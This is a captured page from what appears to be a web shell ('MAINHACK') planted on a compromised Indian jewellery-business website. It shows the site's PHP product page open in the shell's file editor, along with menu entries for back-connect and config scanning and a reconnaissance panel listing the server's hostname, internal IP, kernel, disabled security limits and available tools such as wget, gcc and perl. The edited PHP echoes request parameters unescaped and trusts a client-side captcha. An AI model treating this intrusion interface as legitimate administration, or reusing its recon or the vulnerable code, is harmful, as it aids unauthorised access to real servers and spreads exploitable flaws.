[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sub_product.php
<?php include('header.php'); $cate=base64_decode($_REQUEST['cate']); $scate=base64_decode($_REQUEST['scate']);?> <!--Inner Banner Start--> <div class="inner-banner"> <img src="images/inner-banner-3.png" alt=""> <div class="inner-block"> <div class="container"> <div class="inner-content"> <h2><?=$cate?>-><?=$scate?></h2> </div> </div> </div> </div> <!--Inner Product Start--> <div class="inner-product"> <div class="container"> <div class="title-home3"> <h2><?=$cate?>-><?=$scate?></h2> </div> <div class="row"> <?php $stmt =$show->readwithdata('product','sub_category',$scate); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="inner-product-block"> <div class="inner-product-image-box"> <a href="product_img/<?=$row['image']?>" data-lightbox="example-set" data-title=""> <img src="product_img/<?=$row['image']?>" class="pho-gall"/> </a> </div> <div class="inner-product-text"> <h3><?=$row['title']?></h3> <h5><span><?=$row['sub_title']?></span></h5> <a href="" data-toggle="modal" data-target="#myModal" class="modalButton"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> <input type = "hidden" id = "quantity" value="2" class="qty" placeholder = "quantity" /> </div> </div> <?php } } ?> </div> </div> </div> <script> // accessing modal body and adding data $('.modalButton').click(function () { var quantity = $('.qty').val(); alert(quantity); var htmlStr = '<p> Quantity: ' + quantity + '</p>'; $('#bookId').val(quantity); }); </script> <!-- Pup-up--> <div id="myModal" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/sreealankar_logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/pop-img-1.png"></li> <li><img src="images/pop-img-2.png"></li> </ul> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="modal-enquary"> <h3>Enquiry Form</h3> <form method="post"> <div class="modal-enquary-form"> <label>First Name<b>*</b></label> <input id="name" type="text" title="name" name="fname" placeholder="First Name"> </div> <div class="modal-enquary-form"> <label>Last Name<b>*</b></label> <input id="name" type="text" title="name" name="lname" placeholder="Last Name"> </div> <div class="modal-enquary-form"> <label>Phone<b>*</b></label> <input id="name" type="text" title="name" name="phone" maxlength="10" placeholder="Phone Number"> </div> <div class="modal-enquary-form"> <label>Email<b>*</b></label> <input id="email" type="email" title="email" name="email" placeholder="Email ID"> <input id="bookId" type="hidden" > </div> <div class="modal-enquary-form" id="b_name"> <label>Captcha<b>*</b></label> <input type="text" name="captcha" style="color: #fff !important; background: url(images/captchabg.png) no-repeat top right; background-size: auto; background-size: cover; letter-spacing: 3px; margin: 0 0 0 0; padding: 8px 0 8px 75px;" value="<?php echo rand(0,1999); ?>" readonly=""> </div> <div class="modal-enquary-form" id="b_name"> <label>Fill Captcha<b>*</b></label> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <div class="requirements"> <label>Requirement Details</label> <textarea placeholder="Any Special Requirements" name="requirement"></textarea> </div> <!--<div class="modal-enquary-form checkbox"> <input id="name" type="checkbox"> <a href="#">I Accept Terms and Condition</a> </div>--> <div class="modal-enquary-form enquary-btn"> <input type="submit" value="Submit" name="sub"> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $table='product_enquiry'; $name=htmlentities(strip_tags($_POST['fname']))." ".htmlentities(strip_tags($_POST['lname'])); $data = array( 'name' => $name, 'phone' => htmlentities(strip_tags($_POST['phone'])), 'email' => htmlentities(strip_tags($_POST['email'])), 'phone' => htmlentities(strip_tags($_POST['phone'])), 'requirements' => htmlentities(strip_tags($_POST['requirement'])), ); $em=htmlentities(strip_tags($_POST['email'])); $phn=htmlentities(strip_tags($_POST['phone'])); if($show->insert($table,$data)){ $email_subject = "Enquiry Confirmation"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://sreealankar.in/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> New enquiry has been received.<br> Name: ".$name."<br> Phone: ".$_POST['phone']."<br> Email: ".$_POST['email']."<br> Requirement: ".$_POST['requirement']."<br> <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://sreealankar.in/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi ".$name.",<br><br> Your enquiry with email id ".$em." has been successful.<br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content1,$headers) && @mail($em,$email_subject,$email_content,$headers)) { /* echo "<script>alert('Thank you mail has been sent. We will contact you soon.'); </script>";*/ } else { // echo "<script>alert('Message not sent!')</script>"; } echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Your enquiry has been sent. We will contact you soon.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } } } ?> </div> </div> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/pop-img-3.png"></li> <li><img src="images/pop-img-4.png"></li> </ul> </div> </div> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 339.39 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619